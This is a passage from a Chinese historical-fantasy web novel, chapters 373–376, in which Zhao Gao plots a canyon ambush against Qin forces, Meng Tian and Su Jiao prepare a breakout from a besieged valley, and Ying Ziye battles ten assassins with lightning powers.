与其说是宫殿,不如说是一座巨大而粗犷的石头堡垒。
空气中弥漫着浓郁的香料、酥油以及一丝若有若无的血腥气。
巨大的牛油火炬在墙壁上噼啪燃烧。
将端坐在镶满宝石和黄金的王座之上的大月氏王乌孙陀罗的身影映照得忽明忽暗。
乌孙陀罗身材魁梧,面容粗犷。
一双深陷的眼窝中闪烁着暴戾与焦躁的光芒。
他身披华丽的豹皮大氅,手指上戴满了各色硕大的宝石戒指。
此刻却无意识地用力抠着王座的扶手,发出刺耳的摩擦声。
下方,站着一名与这粗犷环境格格不入的身影——
赵高。
他依旧穿着那身略显陈旧的秦式官袍,面容白皙,微微躬着身。
脸上,挂着谦卑而谄媚的笑容。
但那双细长的眼睛里,却不时掠过毒蛇般的阴冷与算计。
“赵高!”
乌孙陀罗的声音如同砂石摩擦,带着压抑不住的怒火和一丝不易察觉的肉痛,
“你当初信誓旦旦,说只要依计行事,必能让秦军有来无回!可现在呢?!”
他猛地一拍王座扶手,巨大的声响在空旷的王庭内回荡:
“本王依你所言,佯装不敌,一路败退,甚至不惜舍弃边境数座重镇,将蒙犽那黄口小儿的大军引入了腹地!”
“可你知道本王为此付出了什么代价吗?!”
他伸出五根粗壮的手指,几乎要戳到赵高脸上,声音因为激动而有些变形:
“五万!整整五万大月氏勇士的性命!”
“就填在了你这所谓的‘诱敌深入’之计里!”
“这还不算那些被秦军劫掠焚毁的城池、部落!”
乌孙陀罗胸膛剧烈起伏,死死盯着赵高,眼神凶狠得像要将他生吞活剥:
“若是最终不能将那十几万秦军给本王一口吃掉,弥补本王的损失……”
“哼!你和那些跟你一起逃来的秦人叛逆,就等着用你们的骨头来祭奠我大月氏战死的英魂吧!”
赵高脸上那谄媚的笑容却丝毫未变。
他上前一步,姿态极低,声音尖细而柔和:
“大王息怒,大王息怒啊!”
“大王的损失,小人感同身受,心如刀绞!”
“但请大王明鉴,这……这正是计划的一部分!”
他抬起眼,眼中闪烁着狡黠的光:
“若不付出些‘真实’的代价,如何能取信于那蒙犽?”
“如何能让他以为我大月氏真的不堪一击,放心大胆地长驱直入?”
“舍不得孩子,套不着狼啊,大王!”
见乌孙陀罗脸色依旧阴沉,赵高话锋一转,语气变得神秘而充满诱惑:
“大王的牺牲绝不会白费!”
“鱼儿,已经咬钩了!”
他凑近一些,压低声音:“小人麾下的罗网,已倾巢而出,正在秘密探查秦军那漫长的补给线!”
“只要找到其最脆弱的关键节点……”
赵高直起身,走到一旁粗糙的西域地图前。
手指精准地点在了一个形似壶口,两侧山脉高耸,中间通道狭窄的区域——
死峡。
“只要大王继续败退,将蒙犽的大军,继续引诱至这‘死亡峡谷’之中!”
赵高的手指狠狠点在峡谷入口,脸上露出成竹在胸的阴冷笑意。
“此地形,乃是天生的绝地!”
“一旦秦军主力深入其中,他们的后勤粮道便如同悬于一线!”
他做出一个扼杀的手势,语气森然:
“届时,只需一支奇兵,掐断峡谷出口,同时西域诸国,如楼兰、龟兹等国的联军,依约从两侧山岭及后方夹击而来……”
赵高转过身,对着乌孙陀罗,笑容愈发谄媚,却也愈发冰冷:
“大王您想,十几万秦军,困于绝地,外无援兵,内无粮草,军心必乱!”
“他们那所谓的强弓硬弩,在缺水断粮面前,又能支撑几时?”
“届时,大王以逸待劳,关门打狗,将这大秦西征精锐一口吞下,岂非易如反掌?”
他微微躬身,语气充满了蛊惑:
“只要吃掉蒙犽这十几万大军,大王不仅尽收失地,更能携大胜之威,震慑西域诸国!”
“届时,这西域霸主之位,还有谁能与大王争锋?”
“之前损失的区区五万人马,与这泼天的功劳和未来的霸业相比,又算得了什么?”
乌孙陀罗听着赵高的描述,眼中的怒火渐渐被贪婪和野心所取代。
他仿佛已经看到了秦军在峡谷中绝望挣扎的景象,看到了自己成为西域无上主宰的未来。
他粗重地喘息了几声,最终,脸上露出了一个残忍而满意的笑容。
“好!赵高,本王就再信你一次!”
“传令下去,依计行事,继续后撤,将秦军……给本王引到‘死亡峡谷’去!”
……
朔风凛冽,卷起戈壁上的沙尘,扑打在疾驰的骑兵队伍甲胄上,发出噼啪的声响。
赢子夜一马当先,玄衣在风中猎猎作响。
他率领着精心挑选的三千轻骑和五百魏武卒精锐,正朝着蒙恬与苏角被困的大致区域全速前进。
每一刻的延误,都可能意味着两位帝国大将和数万精锐的覆灭。
就在这时,一骑快马如同离弦之箭般从侧前方奔来。
马上的骑士正是负责前方侦查的暗河成员。
他冲到赢子夜近前,甚至来不及完全勒住战马,便急促地禀报道:
“主上!最新情报!苏角将军残部与蒙恬将军的黄金火骑兵,正在向‘狼嚎谷’方向靠拢,试图汇合!”
“狼嚎谷?”
赢子夜猛地一拉缰绳,战马人立而起。
他眉头瞬间紧锁,眼中闪过一丝锐利的精光。
他脑海中立刻浮现出北疆的军事地图。
狼嚎谷,地势险要,两侧是陡峭的岩壁,谷地狭窄,确实是一个适合兵力处于劣势一方据险防守,等待援军的地方。
但正因如此,赢子夜心中反而涌起一股强烈的不安。
第373章 要么战,要么死!
“不对劲……”
赢子夜低声自语,声音在风沙中几乎微不可闻。
“蛮军费尽心机,设下双重埋伏,将蒙恬与苏角分割包围,眼看就能分而歼之,为何会放任他们向狼嚎谷汇合?”
他抬头看向那名暗河成员,语气急促地追问:
“你们可曾发现蛮军有异常调动?”
“是否有大军在向狼嚎谷方向运动?”
“或者,在谷地周围是否有设伏的迹象?”
暗河成员摇了摇头,脸上也带着一丝困惑:
“回主上,我们的人冒险抵近侦查,狼嚎谷周边目前并未发现大规模敌军集结的迹象。”
“蛮军主力似乎……似乎依旧停留在原先的伏击点附近,只是封锁了其他出路,唯独……唯独留下了通往狼嚎谷的这个口子。”
“留下了口子?”
赢子夜的心猛地一沉!
这太反常了!
这不像是在围歼,更像是在……驱赶!
仿佛有一只无形的手,正刻意地将蒙恬和苏角这两支疲惫之师,赶向狼嚎谷那个看似安全的绝地!
分而破之,本是兵法常理。
以蛮军此次展现出的谋划能力,不该犯下如此“低级”的错误,放任两支孤军汇合,增加围歼的难度。
除非……他们有着更大的图谋?
狼嚎谷那里,等待着蒙恬和苏角的,恐怕不是生机,而是一个更为凶险的陷阱?
一个足以将两支秦军主力一同埋葬的坟墓?
各种猜测和疑虑在赢子夜脑中飞速闪过。
是蛮军主帅判断失误?
还是他们另有倚仗,自信即便两支秦军汇合,也能一口吃掉?
亦或是……
这根本就是一个针对可能出现的援军,包括他自己的更大圈套?
未知带来的寒意,比戈壁的寒风更加刺骨。
然而,时间不等人!!
每多犹豫一刻,蒙恬和苏角就多一分危险。
他不能因为可能存在但尚未证实的风险,就坐视数万大秦将士陷入绝境而不敢救援。
赢子夜眼中闪过一丝决绝。
他猛地一夹马腹,战马再次奋蹄前行。
“传令全军,加速前进!目标,狼嚎谷!”
他的声音斩钉截铁,压下了心中的疑虑。
“同时,加派三倍斥候,扩大搜索范围,重点侦查狼嚎谷两侧山岭及后方!”
“有任何蛛丝马迹,立刻来报!”
“诺!”
命令下达,队伍的速度再次提升。
如同黑色的利箭,射向那片隐藏着未知凶险的谷地。
赢子夜面色沉凝,目光紧紧盯着前方卷起的烟尘。
他已经嗅到了阴谋的味道。
但此刻,他别无选择,只能以身涉险,去闯一闯这龙潭虎穴。
只希望,自己的直觉是错的。
或者,他能赶在真正的杀局发动之前,撕开一道口子。
……
狼嚎谷内,气氛压抑得如同暴风雨前的死寂。
两支历经苦战,伤痕累累的秦军终于成功汇合,但带来的并非喜悦,而是更深沉的凝重。
蒙恬的黄金火骑兵折损近三成,人人带伤,战马疲惫地打着响鼻。
原本光亮的玄甲上布满了刀劈斧凿的痕迹和干涸的血迹。
苏角率领的五万步卒更是凄惨,在之前的伏击和突围中损失过半。
残存的将士们甲胄残破,许多人都带着轻重不一的伤势,眼神中充满了血战后的疲惫,却依旧紧握着手中的兵器。
两位主将在临时清理出的一片空地上相见!
蒙恬的脸色因疲惫而显得有些苍白,但腰杆依旧挺得笔直,眼神锐利如初。
苏角则浑身浴血,左肩一道深可见骨的伤口只是被简单包扎,仍在渗着血水。
“蒙将军!”
苏角声音沙哑,带着劫后余生的庆幸,更多的却是焦虑。
“能与你汇合,实乃不幸中之万幸!”
“但这谷地……”
他环顾四周陡峭的岩壁,脸色难看。
“地势险恶,易守难攻,却也……易进难出啊!”
蒙恬微微颔首。
他那条新装的机关臂在昏暗的光线下泛着冰冷的金属光泽,声音低沉而冷静:
“苏将军所言极是。”
“蛮子故意留下这个口子,放我们进来,绝非好心。”
他走到一块巨石旁,用机关左手在地面的沙土上快速划出谷地的大致轮廓,语气带着洞悉一切的寒意:
“你看,我军现在如同瓮中之鳖。”
“他们之所以不急着强攻,一是忌惮我黄金火骑兵的突围能力,二是想以逸待劳,等我们粮尽水绝,军心自乱。”
苏角一拳砸在旁边的岩壁上,震落些许碎石,咬牙切齿道:
“这帮该死的蛮夷!真是好算计!”
“那我们该如何是好?”
“困守于此,只能是坐以待毙!”
蒙恬抬起头,目光扫过谷中那些虽然疲惫却依旧保持着纪律的将士,眼中闪过一丝决绝:
“绝不能坐以待毙!我们必须主动突围!”
他指向沙土图上谷口的方向。
那里是蛮军封锁相对“薄弱”却也必然是重兵布防之地:
“蛮军主力在外围设伏,料定我们不敢轻易从原路突围,必然将重兵布置在其他他们认为我们可能选择的路径。”
“而这谷口,看似危险,或许反而有一线生机!”
苏角眉头紧锁:
“蒙将军的意思是……反其道而行之,从他们以为我们最不敢走的地方,硬闯出去?”
“不错!”
蒙恬语气斩钉截铁。
“集结所有还能战斗的骑兵,包括你的骑兵残部,由我亲自率领,作为突围的锋矢!”
“你的步兵紧随其后,结阵向前推进,保护侧翼,抵挡敌军追击和夹击!”
他看向苏角,眼神凝重:
“苏将军,此战凶险,突围过程中,骑兵必然承受最大伤亡,步兵阵线也可能被冲散……”
“但,这是我们唯一的生路!”
“留在这里,只有死路一条!”
苏角看着蒙恬那坚毅而决然的脸庞,又看了看周围那些眼巴巴望着他们的将士,猛地一咬牙,重重抱拳:
“蒙将军!就依此计!”
“我苏角这条命,还有这几万弟兄,就交给你了!”
“大不了,跟蛮子拼个鱼死网破!”
蒙恬伸出完好的左手,与苏角的拳头重重一握:
“好!传令下去,让将士们抓紧时间休息,处理伤口,分配最后的口粮和水!”
“一个时辰后,拂晓时分,天色最暗的那一刻,便是我们突围之时!”
命令迅速传达下去。
残存的秦军将士们默默行动起来,没有人抱怨,没有人退缩。
他们知道,这是背水一战,是决定生死的最后冲锋!
空气中弥漫着一种悲壮而决绝的气氛。
有人默默擦拭着染血的长矛,有人将写好的遗书塞进贴身的衣物,有人望着家乡的方向,眼中含着泪光,却紧握着拳头……
蒙恬走到他的战马旁,用机关手臂轻轻抚摸着马颈。
战马亲昵地蹭了蹭他。
他望着谷口那一片漆黑的夜色,仿佛能感受到外面无数蛮军冰冷的注视。
“一个时辰……”
他低声自语,机关手的五指微微收拢,发出细微的金属摩擦声。
“要么杀出一条血路。”
“要么……便葬身于此!!!”
第374章 豪华的刺杀阵容!
狼嚎谷外。
蛮军主力大营,中军王帐。
与北地郡外的营地不同,这里的氛围更加原始、粗犷,也更加压抑。
空气中弥漫着一种混合了牲口气息、皮革腥膻和隐隐血腥的味道。
巨大的篝火在帐外燃烧。
跳动的火光将帐内几个如同山岳般的身影投射在兽皮帐幕上,扭曲晃动,如同张牙舞爪的魔神。
碎颅王兀突骨,如同一尊铁塔,端坐在由完整巨熊头骨装饰的主位上。
他并未穿戴全副甲胄,只是随意披着一件不知名巨兽的皮毛。
裸露着古铜色,布满各种狰狞疤痕和诡异图腾的上半身。
肌肉虬结如同老树盘根,充满了爆炸性的力量!
他手中把玩着一柄用人腿骨磨制而成的酒碗,碗中猩红的马奶酒晃动着,映照出他那双如同饿狼般残忍而兴奋的眼睛。
一名身披狼皮,脸上涂抹着厚重油彩的匈奴万夫长,正单膝跪地。
声音带着压抑不住的激动禀报:
“伟大的碎颅王!鱼儿已经彻底入网了!”
“根据前方鹰隼和斥候回报,那秦公子赢子夜,亲率数千精锐,正不顾一切地朝着狼嚎谷疾驰而来!”
“蒙恬和苏角那两个家伙,也如同我们预料的那样,被逼到了谷中,成了最好的诱饵!”
兀突骨闻言,喉咙里发出低沉如同闷雷般的笑声。
他将骨碗中的马奶酒一饮而尽,随手将骨碗捏得粉碎。
“好!很好!赢子夜……本王等你等得好苦啊!”
他声音沙哑,带着一种磨刀霍霍的期待。
“本以为还要费些周折攻打北地郡,没想到他竟自己送上门来了!”
“真是天助我也!”
他猛地站起身,庞大的身躯带来一股令人窒息的压迫感,目光扫过帐内肃立的另外几道身影。
这些人,气息各异,却无不强大而危险。
有一名身披漆黑萨满袍,脸上覆盖着白骨面具的老者。
手持一柄缠绕着毒蛇的骷髅法杖。
周身散发着阴冷腐朽的气息。
他是匈奴王庭供奉的“噬魂萨满”。
有一对孪生兄弟,身材瘦小如猴,皮肤呈现出一种不健康的青灰色。
指甲尖锐发黑,眼中闪烁着嗜血的光芒。
他们是来自极北苦寒之地的“冰原血侏儒”,以速度和剧毒闻名。
有一名来自大月氏的巨汉。
身高甚至比兀突骨还要高出半头。
浑身肌肉如同花岗岩般块块隆起,背负着一柄门板大小的巨型弯刀。
他是大月氏王庭的第一力士,“磐石”阿史那祜。
还有一名身段妖娆,面容妩媚动人的异域女子。
穿着暴露的纱丽,赤足而立。
腕间和脚踝戴着精致的银铃。
随着她的呼吸发出惑人心神的轻响!
她是西域小国进献给匈奴的“魅影舞姬”,精通幻术与精神控制。
此外,还有几名或气息彪悍,或身形诡秘的强者。
分别来自不同的部落和地域。
皆是被兀突骨以重利或武力网罗而来的高手!
足足十人!
十位顶尖强者!
这阵容,足以颠覆一场小型战役的走向!
“诸位!”
兀突骨声音如同战鼓,敲在每个人的心上。
“秦人六公子赢子夜,便是我们此次狩猎的目标!”
“此人不仅身份尊贵,更是秦军在北疆的灵魂人物!”
“只要摘下他的头颅……”
他眼中爆射出骇人的精光,语气带着无比的狂热和自信。
“北疆秦军,群龙无首,必然士气崩溃,全线动摇!”
“届时,本王率领大军横扫,蒙恬、苏角不过是瓮中之鳖,北地郡亦唾手可得!”
“这广袤的北疆沃土,便将尽入我草原儿郎之手!”
他看向那十名强者,语气带着不容置疑的命令。
“你们的任务,便是在狼嚎谷外,截杀赢子夜!”
“不必讲究什么阵前对决,我要的是万无一失!”
“你们十人联手,各展其能,务必将其彻底留下,绝不能让他与蒙恬汇合!”
噬魂萨满发出桀桀怪笑,白骨面具下的眼睛幽光闪烁。
“碎颅王放心,老夫会让他尝尝灵魂被剥离的痛苦……”
冰原血侏儒兄弟舔了舔嘴唇,发出嘶嘶声响,身影如同鬼魅般晃动。
巨汉阿史那祜沉默地握紧了背后的巨刀刀柄,一股如山岳般沉重的气势弥漫开来。
魅影舞姬掩唇轻笑,银铃叮咚,眼波流转间媚意横生,却暗藏杀机。
兀突骨看着这群各怀绝技的凶神恶煞,满意地点了点头。
他相信,在这十位强者的联手伏击下,就算那赢子夜有三头六臂,也绝无生还之理!
“去吧!”
兀突骨大手一挥,声震营帐。
“带着赢子夜的人头回来见本王!届时,财富、女人、领地,本王绝不吝啬!”
十道身影,如同融入夜色的鬼魅,悄无声息地离开了王帐,朝着赢子夜必经之路的方向,疾驰而去。
兀突骨重新坐回熊骨王座,拿起另一只骨碗,倒满马奶酒,脸上露出了胜券在握的狰狞笑容。
“赢子夜……你的死期,到了!北疆,是我的了!”
……
地平线上。
狼嚎谷那如同巨兽獠牙般的轮廓已然在望。
赢子夜率领的三千五百精锐如同黑色的疾风,卷起漫天烟尘,不顾一切地向前冲刺。
他甚至能隐约听到谷地方向传来的隐约喊杀声,那是蒙恬和苏角正在浴血奋战!
然而,就在距离谷口不足五里的一片相对开阔的戈壁滩上,疾驰的队伍前方,空间仿佛微微扭曲了一下。
下一刻,十道身影,如同从虚无中迈出,悄无声息地拦在了大军正前方。
没有千军万马,只有这十人。
但当他们出现的刹那,一股如同实质般的恐怖威压,如同无形的山岳,轰然降临!
空气瞬间变得粘稠、沉重,令人窒息!
冲在最前方的秦军战马发出惊恐的嘶鸣,人立而起,竟硬生生被这股联合起来的气势逼停了冲锋的脚步!
赢子夜猛地勒住缰绳,玄衣在骤然停止的狂风中拂动。
他目光如电,瞬间扫过那十道身影,心脏亦是微微一沉。
十个人,气息各异,却无一弱者!!
站在最前方的,正是那名身披漆黑萨满袍,手持骷髅法杖的老者。
他周身缠绕着阴冷死寂的气息,仿佛来自九幽,赫然达到了天象境!
而且绝非初入此境!
其精神力如同冰冷的毒蛇,已然锁定了赢子夜。
其左右侧,那对身材瘦小,皮肤青灰的孪生兄弟,眼中闪烁着嗜血与狡诈,气息飘忽不定。
宛如鬼影,至少是指玄境巅峰!
更有一名背负门板巨刀,如同岩石般的巨汉,沉默而立。
那沉重的压迫感,不输于兀突骨多少,显然也是一位专精力量的顶尖指玄,甚至半只脚踏入了天象!
还有那名身段妖娆,赤足戴铃的异域女子。
看似柔弱,但她周身萦绕的那股若有若无,能引动人内心深处欲望与混乱的精神波动,让赢子夜都感到一丝心悸。
此女的精神修为,诡异莫测,是他最为看不透的一个!
其余几人,或气息彪悍,或身形诡秘,竟无一低于指玄境!
十位强者!
两位天象,八位指玄!
其中更有如同那异域女子般的诡异存在!
这等阵容,只为围杀他一人!
赢子夜瞬间明了。
为何蛮军会放任蒙恬与苏角汇合。
为何会留下看似生路的狼嚎谷!
所有的谋划,最终的目标,根本不是那两支被困的孤军,而是他赢子夜!
他深吸一口气,压下心中的震动。
脸上非但没有惧色,反而露出一抹冰冷而傲然的笑容。
声音清朗,穿透了那沉重的威压。
“好大的阵仗!”
“两位天象,八位指玄…没想到,我赢子夜还真是受欢迎,竟劳动匈奴与大月氏的顶尖强者联手设局相候!”
他的目光特意在那名异域女子和噬魂萨满身上停留了一瞬,语气带着讥讽。
“看来,西域与大月氏,是铁了心要跟匈奴勾结在一起,与我大秦为敌了!”
噬魂萨满狞笑一声,声如破锣。
“赢子夜!死到临头,还敢牙尖嘴利!”
“今日此地,便是你的葬身之处!”
“我们要用你的头骨,来做新的酒碗!”
他发出桀桀怪笑,骷髅法杖指向赢子夜,一股无形的精神冲击如同尖锥,率先发动了试探性的攻击!
赢子夜识海微微一震,但瞬间便稳如磐石。
他眼神一冷,知道不能再拖延。
蒙恬和苏角那边情况危急,必须尽快打破僵局!
他猛地举起手中定秦剑,剑锋在昏暗的天光下反射出决绝的寒芒,声音如同惊雷,响彻全军!!
“众将士听令!”
他剑锋指向狼嚎谷方向。
“你们的任务,是撕开蛮军的包围圈,接应蒙恬、苏角两位将军突围!”
“此地敌人,交由本公子!”
“殿下!”
身旁的将领和魏武卒统领闻言大惊失色,对方可是十位顶尖强者啊!
殿下竟要独自面对?
“执行命令!”
赢子夜声音斩钉截铁,不容置疑。
“相信我!”
感受到赢子夜话语中那不容置疑的决绝与自信,众将虽心焦如焚,却也只能咬牙领命。
“诺!”
“杀——!”
第375章 此战,宛若仙人临凡!
赢子夜话音落下的瞬间,战斗便毫无征兆地爆发了!
最先动手的并非正面的噬魂萨满,而是那对如同鬼影般的冰原血侏儒兄弟。
他们身影一晃,竟在原地留下两道残影,真身已如同两道青灰色的闪电,一左一右,带着刺骨的寒意和腥风,直扑赢子夜!
他们的指甲漆黑发亮,显然淬有剧毒,速度快得肉眼难以捕捉。
然而,就在他们利爪即将触及赢子夜衣角的刹那。
“嗤啦——!”
一道刺目欲盲的紫色电光,猛地从赢子夜体内爆发开来!
狂暴的雷霆之力如同无数条怒龙,瞬间缠绕他周身。
他的速度在这一刻提升了何止数倍。
原地只留下一道微微扭曲,残留着紫色电光的虚影。
“噗!噗!”
血侏儒兄弟志在必得的一击落空,脸色骤变!
刚想变招,却见一道缠绕着毁灭性紫雷的剑光,如同九天落雷,以超越他们反应的速度,后发先至,横扫而来。
“不好!”
兄弟二人怪叫一声,凭借诡异的身法极限闪避,但剑光边缘扫过的紫雷依旧擦中了其中一人的手臂。
“啊——!”
凄厉的惨叫响起,那侏儒的手臂瞬间焦黑碳化!
恐怖的雷霆之力更是沿着伤口疯狂破坏他的经脉!
一击,便重创一名指玄境巅峰的刺客。
“找死!”
阿史那祜怒吼一声!
谁都没想到赢子夜竟有如此诡异的雷霆加速能力。
只见他庞大的身躯如同炮弹般射出,没有任何花哨,一拳轰出。
拳风挤压空气,发出雷鸣般的爆响,纯粹的力量仿佛要将空间都打碎。
这是专精炼体,将肉身修炼到极致的蛮横力量!!
一击不中,紧接着,他并未拔刀,而是双拳紧握,猛地砸向地面。
“轰隆!”
大地剧震。
赢子夜脚下的地面猛然裂开,无数尖锐的石刺如同巨兽獠牙般破土而出,狠狠刺向他的下盘。
这是将力量灌注大地,操控土石的恐怖能力!
面对这一招,赢子夜眼神冰冷,周身紫雷更盛。
他根本不与阿史那祜的拳头硬撼,脚下雷光炸响,身形如同瞬移般横移数丈,险之又险地避开了地刺和拳风。
定秦剑反手一挥,一道凝练的紫色剑气如同月牙,斩向试图再次隐匿身形的另一名血侏儒。
那血侏儒吓得魂飞魄散,拼命躲闪,剑气擦着他的头皮飞过,带起一溜血珠和焦糊的头发!
“噬魂!”
黑袍萨满抓住赢子夜闪避的瞬间,骷髅法杖挥舞!
一股无形无质,却更加阴冷歹毒的精神力量,如同无数根冰冷的针,无视物理防御,直刺赢子夜的识海。
赢子夜身形微微一滞,眉头蹙起,识海中紫雷轰鸣,强行驱散着那股侵蚀之力。
但这一瞬间的凝滞,却给了其他人机会。
“咯咯咯……”
魅影舞姬发出惑人心神的轻笑,赤足轻点,腕间脚踝银铃叮咚作响。
那铃声仿佛带着奇异的魔力,钻入耳中,竟让赢子夜眼前的景象微微扭曲,仿佛有无数曼妙身影在起舞,干扰着他的视觉和判断。
而一直沉默的另外几名指玄境强者也同时出手!
一人张口喷出一道惨绿色的毒火,灼烧空气。
一人挥手甩出数十道乌光,竟是淬毒的飞针,封锁赢子夜所有闪避角度。
还有一人双手结印,空气中凝聚出数道半透明的风刃,无声无息地斩来。
炼体、御物、精神攻击、幻术、毒功、元素操控……
十位强者,各展其能,配合默契!
攻势如同**,从四面八方席卷向中心那一道孤傲的紫色雷影。
“轰!轰!锵!嗤——!”
戈壁滩上,雷光爆闪,拳风呼啸,毒火蔓延,金石交击之声不绝于耳!
赢子夜将紫雷催动到极致!
身形化作一道不断闪烁,难以捕捉的雷光!
在无数致命的攻击中穿梭、格挡、反击。
他的剑快如闪电,每一次挥出都带着撕裂一切的雷霆之力,逼得那些擅长近战的强者不敢硬接。
身法诡谲莫测,总能在间不容发之际避开致命的合击。
精神力同样坚韧,在紫雷的护持下,硬抗着萨满的精神冲击和舞姬的幻术干扰!
战斗激烈到了极点!!
赢子夜虽强,但面对十位同阶甚至更高境界强者的**,也瞬间陷入了苦战。
他周身的紫雷在不断碰撞中明灭不定!
玄衣之上也出现了几处破损。
有被拳风擦过的淤青,有被风刃划开的血痕,甚至有一缕毒气试图侵入,被他以雷霆强行逼出、炼化。
但他眼神中的战意却愈发高昂,如同燃烧的火焰!!
定秦剑每一次挥动,都带着一往无前的帝王气与决绝!
“就只有这点能耐吗?!”
赢子夜长啸一声,硬生生以肩膀承受了阿史那祜一记隔空拳印。
然后借力旋身,剑光如瀑,将那片袭来的毒火飞针尽数绞碎!
雷光顺势反卷,将那名释放毒火的强者逼得狼狈后退!!
他如同在刀尖上跳舞的死神,于十面埋伏中,悍然挥剑!
……
而狼嚎谷内。
尸山血海,残存的秦军将士正与不断涌来的蛮军进行着最惨烈的搏杀。
蒙恬挥舞着机关左臂,每一次挥击都带着金属的轰鸣与血肉的撕裂声。
将一名试图冲破防线的蛮族百夫长连人带甲砸得胸膛凹陷。
苏角浑身浴血,左肩的伤口早已崩裂,他却恍若未觉,手中战刀卷刃,依旧疯狂地劈砍着眼前的敌人。
突围的战斗已经到了最关键的时刻!
秦军如同被压缩到极致的弹簧,积蓄着最后的力量,准备发起决死冲锋!
蛮军的攻势也如同潮水,一波猛过一波,试图在他们突围前将其彻底淹没!
就在这生死一线的关头。
“轰!!!”
一声并非来自战场,却仿佛来自九天之上的恐怖雷鸣,猛地从谷外传来。
这声音是如此巨大,如此狂暴!
甚至瞬间压过了谷内数万人厮杀的喧嚣。
紧接着。
一股难以言喻的,混合着毁灭、威严、以及令人灵魂战栗的磅礴气势,如同实质的海啸般,从谷口方向席卷而来!
无论是正在挥刀**的秦军士卒,还是疯狂咆哮进攻的蛮族战士。
在这一刻,动作都不由自主
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地僵滞了一瞬!
所有人都感受到了一种源自生命本能的恐惧与渺小。
厮杀的呐喊、兵刃的碰撞、垂死的哀嚎……
仿佛被一只无形的大手骤然扼住,战场出现了刹那的死寂!
蒙恬猛地格开一名敌人的弯刀,霍然转头,望向谷口的方向。
他那张因失血和疲惫而苍白的脸上,充满了极致的震惊与难以置信!
透过谷口那狭窄的视野,他看不到具体的战斗景象,只能看到远方那片天空,已然变了颜色!
原本灰暗的天空,被一种狂暴的,不断炸裂闪烁的紫色雷光所充斥!
那雷光并非自然的闪电。
它更加凝聚,更加狂暴,带着一种仿佛要审判世间,毁灭万物的煌煌天威!
即使相隔数里,蒙恬也能清晰地感受到,那雷光之中蕴含的恐怖力量!!
那是一种远超寻常武道,近乎于……
道法自然的层次!
而在那毁灭的雷海中心,似乎有一道孤傲的玄色身影,正与数道散发着如同洪荒凶兽般可怕气息的身影疯狂碰撞!!
每一次碰撞,都引得那片天地元气**,空间都仿佛在哀鸣!
逸散出的冲击波,甚至让谷口附近的砂石都为之翻滚!
一些靠得近的蛮军斥候更是被直接震得口鼻溢血,倒地不起!
“那是……殿下?!”
蒙恬的心脏狠狠一抽,几乎要跳出胸腔!
他虽然看不清具体,但那独特的,带着帝王紫气的雷霆,以及那道隐约的玄色身影,除了六公子赢子夜,还能有谁?
可……
殿下正在面对的,是什么怪物?!
那每一道散发出的气息,都让他这位身经百战的帝国上将感到心悸!
那绝对是超越了指玄,甚至可能触摸到天象境的恐怖存在!
而且……不止一个!
“我的天……”
身旁,副将发出了无意识的**,手中的刀差点掉落在地,眼神中充满了敬畏与茫然。
“那……那还是人间的战斗吗?”
另一边的苏角,也同样僵立在原地,忘了挥刀。
他张大了嘴巴,看着谷外那宛若神话传说中仙神交战般的恐怖景象,大脑一片空白。
他自诩勇武,一生征战,见过无数惨烈场面,但何曾见过这等引动天象,宛若天罚的战斗?
“六公子…他……他在独自面对什么?”
苏角的声音干涩沙哑,带着连他自己都未察觉的颤抖。
他原本以为自己和蒙恬陷入的已经是绝境。
可与谷外那场战斗相比,这里的厮杀,仿佛成了孩童的打闹。
不仅仅是他们,谷内残存的所有秦军将士,只要还能动弹的,都忍不住望向了谷口。
他们看不到细节,只能看到那毁灭性的紫雷与一道道凶戾滔天的气息在不断碰撞、湮灭!
那景象,深深地烙印在他们的灵魂深处。
那是一种超越了凡俗理解的力量对撞!
宛若仙人临凡,与来自九幽的魔神在厮杀!!
原本因久战和绝望而低落的士气,在这一刻,被一股难以言喻的震撼与一种近乎疯狂的崇拜所取代。
他们的殿下,正在为了救援他们,与那般恐怖的存在战斗!
第376章 风!风!大风!!!
“殿下……”
一名断了一条胳膊,靠在尸堆上的老兵,望着谷外的雷光,浑浊的眼中流下了滚烫的泪水,他用尽最后的力气嘶吼。
“风!!!”
这一声嘶吼,如同点燃了引信。
“风!”
“风!”
“风!!”
越来越多的秦军士卒,无论伤势轻重,都红着眼睛,发出了歇斯底里的咆哮。
那咆哮声中,带着与有荣焉的骄傲,带着绝境逢生的希望,更带着一股被殿下身先士卒,力抗强敌所点燃的,焚尽一切的决死战意!!
就连对面进攻的蛮军。
也被这突如其来的天地异象和秦军爆发出的疯狂气势所慑!
攻势不由得一缓!
许多蛮族士兵眼中也露出了惊疑不定的神色。
蒙恬猛地回过神,压下心中的惊涛骇浪。
他知道,这是殿下用生命为他们争取到的,唯一的生机!!!
他举起机关左臂,用尽全身力气,发出了震碎云霄的怒吼。
“将士们!殿下正在为我们血战!我们岂能辜负?!”
“随我——杀出去!!!”
“杀——!!!”
残存的秦军爆发出前所未有的战斗力,如同决堤的洪流,朝着被那惊天战斗稍稍震慑的蛮军防线,发起了最后,也是最疯狂的冲锋!
……
此刻。
戈壁滩已化为雷霆与毁灭的炼狱。
赢子夜周身紫电狂舞,将他映衬得如同执掌天罚的雷神降世。
他的速度太快,身影在十位强者的**中化作了无数道闪烁不定的残影!
定秦剑每一次挥出,都带着撕裂长空的刺目雷光,与各种狂暴的能量悍然对撞。
“铛——!”
缠绕紫雷的剑锋与阿史那祜那足以轰碎山岳的拳头再次硬撼!
爆开的气浪将地面刮低三尺。
阿史那祜闷哼一声,竟被那蕴含着毁灭力量的雷霆震得后退半步,拳头之上传来一阵麻痹刺痛。
他眼中惊怒交加,这秦人公子的雷霆之力,竟刚猛暴烈至此!
“死!”
他咬牙,门板般的巨刀终于出鞘!
带着凄厉的破空声,如同一道撕裂大地的黄色匹练,拦腰斩来。
刀未至,那沉重的风压已经让人窒息。
赢子夜眼神一冷,根本不回头,反手一剑点出,剑尖精准无比地点在巨刀力量最薄弱之处。
“嗤——!”
没有硬碰硬的巨响,只有一声尖锐到极致的撕裂声!
紫雷顺着剑尖瞬间蔓延上巨刀刀身!
那狂暴的毁灭能量竟硬生生将那势大力沉的一刀带偏!
擦着赢子夜的腰际掠过,将后方一块巨岩斩得粉碎!
阿史那祜只觉一股诡异的螺旋劲力顺着刀身传来,震得他双臂发麻,心中骇然。
“噬魂鬼爪!”
黑袍萨满骷髅法杖挥舞!
无数只由纯粹怨念与死气凝聚而成的漆黑鬼爪,凭空出现!
从四面八方抓向赢子夜,要将他拖入无尽的幽冥。
“魑魅魍魉,也敢近身?”
赢子夜冷哼一声,周身紫雷猛然膨胀,化作一个巨大的雷霆光球。
